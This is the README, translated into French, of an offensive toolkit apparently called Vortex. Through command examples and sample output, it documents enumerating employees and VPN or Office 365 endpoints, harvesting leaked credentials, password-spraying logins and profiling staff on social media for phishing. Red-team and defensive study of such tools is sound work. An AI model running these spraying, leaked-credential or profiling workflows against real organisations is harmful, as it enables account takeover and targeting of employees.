
Kit d'outils de reconnaissance, tests, énumération et eXploitation globale de VPN
🚩 Ceci est le dépôt public de vortex, pour la dernière version et les mises à jour, veuillez envisager de nous soutenir via https://porchetta.industries/
Boîte à outils globale de reconnaissance, test, énumération et exploitation de VPN
Si vous souhaitez sponsoriser ce projet et avoir les dernières mises à jour sur vortex, les derniers correctifs, les dernières fonctionnalités, veuillez nous soutenir sur https://porchetta.industries/
Venez traîner sur Discord !
Un framework Python très simple, inspiré de SprayingToolkit, qui tente d'automatiser la plupart du processus nécessaire pour détecter, énumérer et attaquer les endpoints O365 et VPN courants (comme Cisco, Citrix, Fortinet, Pulse, etc...).
Rendre la phase de spray VPN beaucoup plus rapide et plus facile. De plus, grâce à sa flexibilité, cet outil peut être ajouté assez facilement à un workflow OSINT existant.
Vortex fournit principalement une assistance pour effectuer les tâches suivantes :
Installez les prérequis avec pip3 comme suit :``` sudo -H pip3 install -r requirements.txt
### Installation avec Virtualenv
Sinon, vous pouvez installer les prérequis en utilisant un environnement virtuel :
###### Sur Windows```
virtualenv venv
venv\Scripts\activate
pip install -r requirements.txt
python3 -m virtualenv venv source venv/bin/activate pip install -r requirements.txt
## Usage
L'utilisation de l'outil est assez simple, mais il y a un flux de travail à respecter. L'outil
utilise une base de données SQLite pour stocker les informations sur l'attaque en cours.
### Espace de travail
L'espace de travail représente le fichier de base de données utilisé par l'outil. Le nom ne doit être qu'un
simple nom pour étiqueter l'attaque, le projet ou la cible en cours.
À chaque espace de travail est attribuée une base de données SQLite. Lorsque vous spécifiez un nom d'espace de travail,
par exemple :```
python manage.py -w workspace1
Ce que vous dites réellement, c'est : "Je veux opérer sur le fichier workspace1.db".
Pour fonctionner correctement, Vortex doit initialiser la base de données avec les schémas appropriés. Pour ce faire, il suffit d'exécuter la commande :``` python manage.py -w workspace1 db -c init
Si un utilisateur essaie de sauter cette phase, Vortex se contentera d'afficher à l'écran la commande correcte à lancer en premier.```
[-] Workspace not initialized. Please initialise it using:
python manage.py -w workspace1 db -c init
Au lieu de cela, lors de l'exécution de la même commande sur une base de données existante et initialisée, Vortex demandera une confirmation avant d'écraser le fichier de base de données :``` [-] The DB file exists and it was initialised, overwrite? [y|n] $> y
### Actions et commandes
Vortex fonctionne avec un argument positionnel, l'Action', et d'autres valeurs clés.
Le plus important d'entre eux est l'argument commande (`-c cmd`). En combinaison avec la valeur de l'action, la commande définit ce que Vortex doit faire.
Il est possible de voir la liste des actions prises en charge depuis l'Aide :```
python manage.py -h
Vortex: VPN Overall Reconnaissance, Enumeration and eXploitation
positional arguments:
{db,domain,import,office,profile,search,tor,validate,vpn}
Action to execute
optional arguments:
-h, --help show this help message and exit
-w WORKSPACE, --workspace WORKSPACE
Workspace to use
-c COMMAND, --command COMMAND
Command for the action
-D DOMAIN, --domain DOMAIN
Domain under attack
-C COMPANY, --company COMPANY
Company under attack
-l LOCATION, --location LOCATION
Location of the company under attack (IE, UK, US, ...)
-u URL, --url URL VPN Endpoint Origin (schema://domain:port)
-t ENDPOINT_TYPE, --endpoint-type ENDPOINT_TYPE
Target Endpoint Type
-U USER, --user USER User name
-E EMAIL, --email EMAIL
User email
-N NAME, --name NAME User full name
-R ROLE, --role ROLE User job
-s SQL, --sql SQL SQL statement
-O EXPORT_FILE, --export-file EXPORT_FILE
Export file
-Q QUOTES, --quotes QUOTES
Produce an Excel safe CSV
-nh, --no-headers Remove CSV headers
-k KEYWORDS, --keywords KEYWORDS
Search keywords
-P PASSWORDS_FILE, --passwords-file PASSWORDS_FILE
Password file for spraying
-L, --leaks Use leaks for spraying
-I IMPORT_FILE, --import-file IMPORT_FILE
Import file
Comme on peut le voir dans l'aide, la liste des commandes supportées par action n'est spécifiée nulle part. Cela est dû au fait qu'il n'est pas nécessaire de spécifier une commande directement. En effet, si une commande n'est pas spécifiée, Vortex demandera à l'utilisateur de sélectionner l'une des commandes disponibles pour l'action spécifiée.``` python manage.py -w workspace1 db
,d#####F^ ,yy############yy ^9#######, ,######" y###################by ^9######, ######^ y#####F"" ^"9######y "######] d#####^ ,#####" by klezVirus ^9#####, ^######, ,#####] ,####F yy#######y, ^9####b ^###### [##### ####F ,###F""'"9####, 9####] 9##### #####F [#### ,##F^ yy "###b 9####, ^#####] #####] [###] ### dF""#b ^###] ^####] #####] 9####b [#### 9##, 9bd [#] [##b ##### [##### [##### ####, 9##y, ,y##^ d##F ##### [####] #####b ^####y ^"#####" d###^ ,####] d##### [#####, ^####by ,d###^ d####^ #####F 9#####y "#####byyyyyyd####F^ d####F [#####9 9#####b, ""############"^ ,d####F ,###### ^######b, ""'""'"^ ,d#####F d#####F
[*] Select a command: 0 : init 1 : sql 2 : add-endpoint 3 : add-user 4 : drop-user 5 : truncate-table 6 : export $>
La même chose s'applique pour les arguments nécessaires à une routine spécifique. Si un argument est difficile à saisir en cours d'exécution, Vortex rappellera gentiment à l'utilisateur que le paramètre est requis. Sinon, Vortex guidera l'utilisateur pour sélectionner ou saisir les arguments nécessaires.
Par exemple, si un utilisateur souhaite exporter une table spécifique ou même une colonne, la seule chose nécessaire serait de lancer la commande d'exportation, comme on peut le voir dans l'image ci-dessous :

Ce type de comportement rend Vortex très facile à utiliser.
### General Workflow
Vortex a été conçu pour adhérer à un flux de travail opérationnel spécifique, résumé dans le schéma ci-dessous :

### Operations
#### Collect users
La collecte d'utilisateurs valides pour une cible spécifique peut être effectuée à l'aide de trois sources différentes :
* LinkedIn
Cette source a été supprimée pour violation des politiques utilisateur de LinkedIn.
Vous pouvez toujours opérer sur LinkedIn en utilisant [GoMapEnum](https://github.com/nodauf/GoMapEnum), puis importer les adresses e-mail à l'aide de la commande `import`.
Encore une fois, veuillez noter que l'utilisation de cette fonctionnalité est une violation de l'accord utilisateur de LinkedIn, comme observable au point [8.2](https://www.linkedin.com/legal/user-agreement#dos) de l'accord utilisateur de LinkedIn :
> Vous acceptez de ne pas : [...]
> 2. Développer, soutenir ou utiliser des logiciels, dispositifs, scripts, robots ou tout autre moyen ou processus (y compris les crawlers, plugins et extensions de navigateur ou toute autre technologie) pour extraire les Services ou autrement copier des profils et autres données des Services ;
* CrossLinked
Pour remplacer partiellement la fonctionnalité ci-dessus, l'outil intègre une version adaptée de [CrossLinked](https://github.com/m8r0wn/CrossLinked). Cet outil tentera de détecter les employés d'une entreprise en utilisant Google et Bing. Ce n'est certainement pas la même chose que de rechercher directement sur LinkedIn, mais c'est assez utile.
Pour fonctionner correctement, l'outil demandera à l'utilisateur quel format doit être utilisé pour les noms d'utilisateur (par exemple john.doe, j.doe ou d.john) et quel est le domaine standard utilisé par le domaine cible.```
python manage.py -w workspace1 search -c crosslinked -D evilcorp.com -C "Evil Corporation"
,d#####F^ ,yy############yy ^9#######,
,######" y###################by ^9######,
######^ y#####F"" ^"9######y "######]
d#####^ ,#####" by klezVirus ^9#####, ^######,
,#####] ,####F yy#######y, ^9####b ^######
[##### ####F ,###F""'"9####, 9####] 9#####
#####F [#### ,##F^ yy "###b 9####, ^#####]
#####] [###] ### dF""#b ^###] ^####] #####]
9####b [#### 9##, 9bd [#] [##b ##### [#####
[##### ####, 9##y, ,y##^ d##F ##### [####]
#####b ^####y ^"#####" d###^ ,####] d#####
[#####, ^####by ,d###^ d####^ #####F
9#####y "#####byyyyyyd####F^ d####F [#####9
9#####b, ""############"^ ,d####F ,######
^######b, ""'""'"^ ,d#####F d#####F
[+] Select a format for usernames
0: firstlast
1: lastfirst
2: first.last
3: last.first
4: last.f
5: flast
6: lfirst
7: f.last
8: l.first
9: first
10: last
$> 2
[*] Starting search on Google and Bing with CrossLinked
[>] Searching google for valid employee names at "Evil Corporation"
[>] Searching bing for valid employee names at "Evil Corporation"
[>] Found 133 LinkedIn accounts!
[*] Updating DB ...
[+] Done!
Cette source est exploitée à l'aide d'une version dépouillée et modifiée de theHarvester. L'outil tentera d'extraire des noms/e-mails de Google (Passive Gathering) en utilisant des Google Dorks, et du site web de l'entreprise (Active Gathering).``` python manage.py -w workspace1 search -c google -D evilcorp.com
[] Starting passive/active search on Google [] (PASSIVE) Searching for emails NOT within the domain's site: evilcorp.com -site:evilcorp.com [*] (ACTIVE) Searching for emails within the domain's sites: evilcorp.com [+] Scraping any emails from: https://evilcorp.com [+] Scraping any emails from: https://www.facebook.com/EvilCorp/ ...
[email protected] [email protected] [>] Found 2 mail [*] Updating DB ... [+] Done!
* PwnDB
Cette source est exploitée à l'aide d'une version portée de celle implémentée dans [sn0int](https://github.com/kpcyrd/sn0int).
**Note** : cette fonctionnalité nécessite d'être connecté au réseau TOR. Sous Windows, il est possible d'utiliser la version embarquée fournie avec Vortex. Sous Linux, en revanche, il est nécessaire d'installer le paquet tor (par exemple `sudo apt-get install tor` sur Kali).
##### Démarrer TOR```
python manage.py -w workspace1 tor -c start
[*] Starting TOR Browser, click on connect
python manage.py -w workspace1 search -c pwndb -D evilcorp.com
[] Starting search on PwnDB [>] Found 493 leaked accounts! [] Updating DB ... [+] Done!
##### Arrêter TOR```
python manage.py -w workspace1 tor -c stop
[*] Stopping TOR browser
Vortex utilise principalement deux macro-catégories pour les points de terminaison : VPN et Microsoft (Office). Une cible peut être ajoutée à la fois comme point de terminaison Office ou VPN, et Vortex tentera de valider le point de terminaison respectivement en tant qu'Office ou VPN, en utilisant une série de validateurs.
Illustrons cela avec un exemple. L'utilisateur doit attaquer la cible evilcorp.com et souhaite vérifier si le domaine est une cible OWA, Lync, ADFS ou O365.```
python manage.py -w workspace1 office -c add -D evilcorp.com
[#] OWA domain appears to be hosted internally [+] evilcorp.com is a valid OWA target! [-] evilcorp.com does not seem a valid LYNK target [-] evilcorp.com does not seem a valid ADFS target [-] evilcorp.com does not seem a valid IMAP target [+] evilcorp.com is a valid O365 target!
##### Rechercher des sous-domaines pour les points de terminaison VPN
Pour les points de terminaison VPN, l'utilisateur peut effectuer une recherche de sous-domaines afin de trouver des hôtes exécutant des connexions Web VPN,
comme ceci :
python manage.py -w workspace1 domain -c enum -D evilcorp.com
,d#####F^ ,yy############yy ^9#######, ,######" y###################by ^9######, ######^ y#####F"" ^"9######y "######] d#####^ ,#####" by klezVirus ^9#####, ^######, ,#####] ,####F yy#######y, ^9####b ^###### [##### ####F ,###F""'"9####, 9####] 9##### #####F [#### ,##F^ yy "###b 9####, ^#####] #####] [###] ### dF""#b ^###] ^####] #####] 9####b [#### 9##, 9bd [#] [##b ##### [##### [##### ####, 9##y, ,y##^ d##F ##### [####] #####b ^####y ^"#####" d###^ ,####] d##### [#####, ^####by ,d###^ d####^ #####F 9#####y "#####byyyyyyd####F^ d####F [#####9 9#####b, ""############"^ ,d####F ,###### ^######b, ""'""'"^ ,d#####F d#####F
[] Starting subdomain passive enumeration [>] Found 10 subdomains [$] Elapsed time: 18.360117197036743 [] Enumerating potential VPN endpoints (HTTPS on 443, 10443) [>] Found 1 hosts running an SSL webserver [$] Elapsed time: 18.916626691818237 [] Trying to detect hosts with VPN web-login [>] Found 1 hosts with a VPN web login [$] Elapsed time: 32.919618368148804 [] Updating DB... [+] Adding vpn.evilcorp.com:443 as a pulse target [>] Elapsed time: 18.920615434646606 [+] Done
##### Ajouter manuellement un point de terminaison VPN
Pour ajouter manuellement des points de terminaison VPN, bien sûr, spécifier le domaine de premier niveau ne suffirait probablement pas.
La bonne méthode serait de spécifier un sous-domaine spécifique ainsi que le port spécifique sur lequel le serveur Web VPN est en cours d'exécution.```
python manage.py -w workspace1 vpn -c add -D vpn.evilcorp.com:443
[+] vpn.evilcorp.com:443 is a pulse target!
Pour effectuer une attaque par pulvérisation de mots de passe ou même par force brute, la seule ressource nécessaire est une liste de mots de passe sous forme de fichier texte, avec un mot de passe par ligne.``` python manage.py -w workspace1 office -c attack -P passwords.txt
,d#####F^ ,yy############yy ^9#######, ,######" y###################by ^9######, ######^ y#####F"" ^"9######y "######] d#####^ ,#####" by klezVirus ^9#####, ^######, ,#####] ,####F yy#######y, ^9####b ^###### [##### ####F ,###F""'"9####, 9####] 9##### #####F [#### ,##F^ yy "###b 9####, ^#####] #####] [###] ### dF""#b ^###] ^####] #####] 9####b [#### 9##, 9bd [#] [##b ##### [##### [##### ####, 9##y, ,y##^ d##F ##### [####] #####b ^####y ^"#####" d###^ ,####] d##### [#####, ^####by ,d###^ d####^ #####F 9#####y "#####byyyyyyd####F^ d####F [#####9 9#####b, ""############"^ ,d####F ,###### ^######b, ""'""'"^ ,d#####F d#####F
[] Choose an endpoint type to attack, or all to attack any supported endpoint 0 : owa 1 : lync 2 : imap 3 : adfs 4 : o365 5 : all $> 4 [] Running O365Enumerator [-] [email protected]:MrRobot2021! is not valid. [+] [email protected]:Joanna2021! is valid! [>] Found 1 valid logins [*] Updating Db... [+] Done
#### Effectuer une attaque de pulvérisation de mots de passe ou de force brute contre des points d'accès VPN
Pour effectuer une attaque de pulvérisation de mots de passe ou même une attaque par force brute, la seule ressource requise
est une liste de mots de passe sous forme de fichier texte, avec un mot de passe
par ligne.```
python manage.py -w workspace1 vpn -c attack -P passwords.txt
,d#####F^ ,yy############yy ^9#######,
,######" y###################by ^9######,
######^ y#####F"" ^"9######y "######]
d#####^ ,#####" by klezVirus ^9#####, ^######,
,#####] ,####F yy#######y, ^9####b ^######
[##### ####F ,###F""'"9####, 9####] 9#####
#####F [#### ,##F^ yy "###b 9####, ^#####]
#####] [###] ### dF""#b ^###] ^####] #####]
9####b [#### 9##, 9bd [#] [##b ##### [#####
[##### ####, 9##y, ,y##^ d##F ##### [####]
#####b ^####y ^"#####" d###^ ,####] d#####
[#####, ^####by ,d###^ d####^ #####F
9#####y "#####byyyyyyd####F^ d####F [#####9
9#####b, ""############"^ ,d####F ,######
^######b, ""'""'"^ ,d#####F d#####F
[*] Choose an endpoint type to attack, or all to attack any supported endpoint
0 : cisco
1 : citrix
2 : citrixlegacy
3 : fortinet
4 : pulse
5 : sonicwall
6 : all
$> 6
[*] Attacking vpn.evilcorp.com:443
[-] [email protected]:MrRobot2021! is not valid.
[+] [email protected]:Joanna2021! is valid!
[>] Found 1 valid logins
[*] Updating Db...
[+] Done
Comme Vortex suit les identifiants divulgués sur PwnDB, un utilisateur peut choisir de tester tous les identifiants divulgués au lieu de fournir un fichier de mots de passe.
Cependant, ce comportement est très différent d'une pulvérisation de mots de passe normale. Dans une attaque normale par pulvérisation de mots de passe, en effet, un seul mot de passe est essayé contre tous les utilisateurs. Dans une attaque par identifiants divulgués, les identifiants divulgués sont testés contre l'utilisateur spécifique avec lequel ils ont été divulgués. Ainsi, par exemple, si Vortex a trouvé les fuites :``` User Leaks
[email protected] ["ISecretlyLoveAngela2020!"] [email protected] ["Puppy19!", "MySweetJ111!"]
Vortex effectuera les tentatives suivantes, et uniquement celles-ci :```
[email protected]:ISecretlyLoveAngela2020!
[email protected]:Puppy19!
[email protected]:MySweetJ111!
Pour effectuer cette attaque, aucun fichier de mot de passe n'est nécessaire, mais il est requis de définir le paramètre (-L, ou --leaks).``` python manage.py -w workspace1 vpn -c attack -L
,d#####F^ ,yy############yy ^9#######, ,######" y###################by ^9######, ######^ y#####F"" ^"9######y "######] d#####^ ,#####" by klezVirus ^9#####, ^######, ,#####] ,####F yy#######y, ^9####b ^###### [##### ####F ,###F""'"9####, 9####] 9##### #####F [#### ,##F^ yy "###b 9####, ^#####] #####] [###] ### dF""#b ^###] ^####] #####] 9####b [#### 9##, 9bd [#] [##b ##### [##### [##### ####, 9##y, ,y##^ d##F ##### [####] #####b ^####y ^"#####" d###^ ,####] d##### [#####, ^####by ,d###^ d####^ #####F 9#####y "#####byyyyyyd####F^ d####F [#####9 9#####b, ""############"^ ,d####F ,###### ^######b, ""'""'"^ ,d#####F d#####F
[] Choose an endpoint type to attack, or all to attack any supported endpoint 0 : cisco 1 : citrix 2 : citrixlegacy 3 : fortinet 4 : pulse 5 : sonicwall 6 : all $> 6 [] Attacking vpn.evilcorp.com:443 [+] [email protected]:ISecretlyLoveAngela2020! is valid! [-] [email protected]:Puppy19! is not valid. [-] [email protected]:MySweetJ111! is not valid. [>] Found 1 valid logins [*] Updating Db... [+] Done
C'est à peu près tout. Parfois, l'outil peut demander plus d'informations avant d'effectuer une attaque, comme la sélection du domaine/du groupe VPN.
##### Affichage des résultats
À tout moment, vous pouvez voir les identifiants valides que vous avez trouvés en utilisant la commande suivante :```
python manage.py db -w workspace1 -c found-logins
[+] Valid Logins Collected:
ID Target E-Mail Password
---- -------------------- ---------------------------- ------------------------
1 vpn.evilcorp.com:443 [email protected] Joanna2021!
2 vpn.evilcorp.com:443 [email protected] ISecretlyLoveAngela2020!
[+] Done
Parfois, lors de missions importantes, en savoir un peu plus sur nos cibles nous a aidés à pénétrer leurs défenses, par exemple en utilisant des e-mails personnels ou des comptes sociaux pour du hameçonnage, ou encore pour trouver des réponses aux questions de sécurité de réinitialisation de mot de passe.
Pour cette raison, j'ai intégré Profil3r. Cet outil tente d'identifier des comptes de réseaux sociaux potentiellement liés à un individu.
NOTE IMPORTANTE : Profil3r tente de localiser des profils valides en utilisant le name mashing. Il ne peut pas garantir que les profils trouvés sont réellement liés à la personne ciblée. Pour cette raison, les profils ne sont pas automatiquement ajoutés à la base de données Vortex.
Actuellement, il est possible d'utiliser Profil3r selon deux modes :
Le mode unique fonctionne sur un ensemble de mots-clés fournis par l'utilisateur :``` python manage.py -w workspace1 profile -c single -k elliot -k alderson
,d#####F^ ,yy############yy ^9#######, ,######" y###################by ^9######, ######^ y#####F"" ^"9######y "######] d#####^ ,#####" by klezVirus ^9#####, ^######, ,#####] ,####F yy#######y, ^9####b ^###### [##### ####F ,###F""'"9####, 9####] 9##### #####F [#### ,##F^ yy "###b 9####, ^#####] #####] [###] ### dF""#b ^###] ^####] #####] 9####b [#### 9##, 9bd [#] [##b ##### [##### [##### ####, 9##y, ,y##^ d##F ##### [####] #####b ^####y ^"#####" d###^ ,####] d##### [#####, ^####by ,d###^ d####^ #####F 9#####y "#####byyyyyyd####F^ d####F [#####9 9#####b, ""############"^ ,d####F ,###### ^######b, ""'""'"^ ,d#####F d#####F
[*] Starting single profile search ... └── FACEBOOK ✔️ ├──https://facebook.com/elliot ├──https://facebook.com/alderson ├──https://facebook.com/elliotalderson ├──https://facebook.com/aldersonelliot ├──https://facebook.com/elliot.alderson ├──https://facebook.com/alderson.elliot ... [+] Done!
Le mode multi opère sur le prénom et le nom de chaque utilisateur dans la base de données. Tout mot-clé supplémentaire passé en mode multi est utilisé en combinaison avec le prénom et le nom des utilisateurs. Ainsi, par exemple, vous pouvez utiliser des noms ou des chiffres supplémentaires pour personnaliser la recherche de profil.```
python manage.py -w workspace1 profile -c multi -k 90
,d#####F^ ,yy############yy ^9#######,
,######" y###################by ^9######,
######^ y#####F"" ^"9######y "######]
d#####^ ,#####" by klezVirus ^9#####, ^######,
,#####] ,####F yy#######y, ^9####b ^######
[##### ####F ,###F""'"9####, 9####] 9#####
#####F [#### ,##F^ yy "###b 9####, ^#####]
#####] [###] ### dF""#b ^###] ^####] #####]
9####b [#### 9##, 9bd [#] [##b ##### [#####
[##### ####, 9##y, ,y##^ d##F ##### [####]
#####b ^####y ^"#####" d###^ ,####] d#####
[#####, ^####by ,d###^ d####^ #####F
9#####y "#####byyyyyyd####F^ d####F [#####9
9#####b, ""############"^ ,d####F ,######
^######b, ""'""'"^ ,d#####F d#####F
[*] Starting per-user profile search
[>] Searching profiles for Elliot Alderson. Additional keywords: 90
...
└── TWITTER ✔️
├──https://twitter.com/ElliotAlderson
├──https://twitter.com/AldersonElliot
├──https://twitter.com/Elliot90
├──https://twitter.com/90Elliot
├──https://twitter.com/Alderson90
...
[>] Searching profiles for Tom Wellick. Additional keywords: 90
...
└── TWITTER ✔️
├──https://twitter.com/Tom
├──https://twitter.com/Wellick
├──https://twitter.com/90
├──https://twitter.com/Tom90
├──https://twitter.com/90Tom
...
[+] Done!
Vortex offre également un support pour l'importation de données externes liées aux utilisateurs ou aux points de terminaison. Actuellement, seuls les fichiers texte brut sont pris en charge et il existe également un support limité pour les CSV.
Les types de données qui peuvent être importés jusqu'à présent sont :
Chaque type de données est pris en charge au format fichier texte normal, un élément par ligne.
De nouvelles fonctionnalités arrivent bientôt (2022) :
Veuillez soumettre des bugs, des suggestions ou des demandes de fonctionnalités.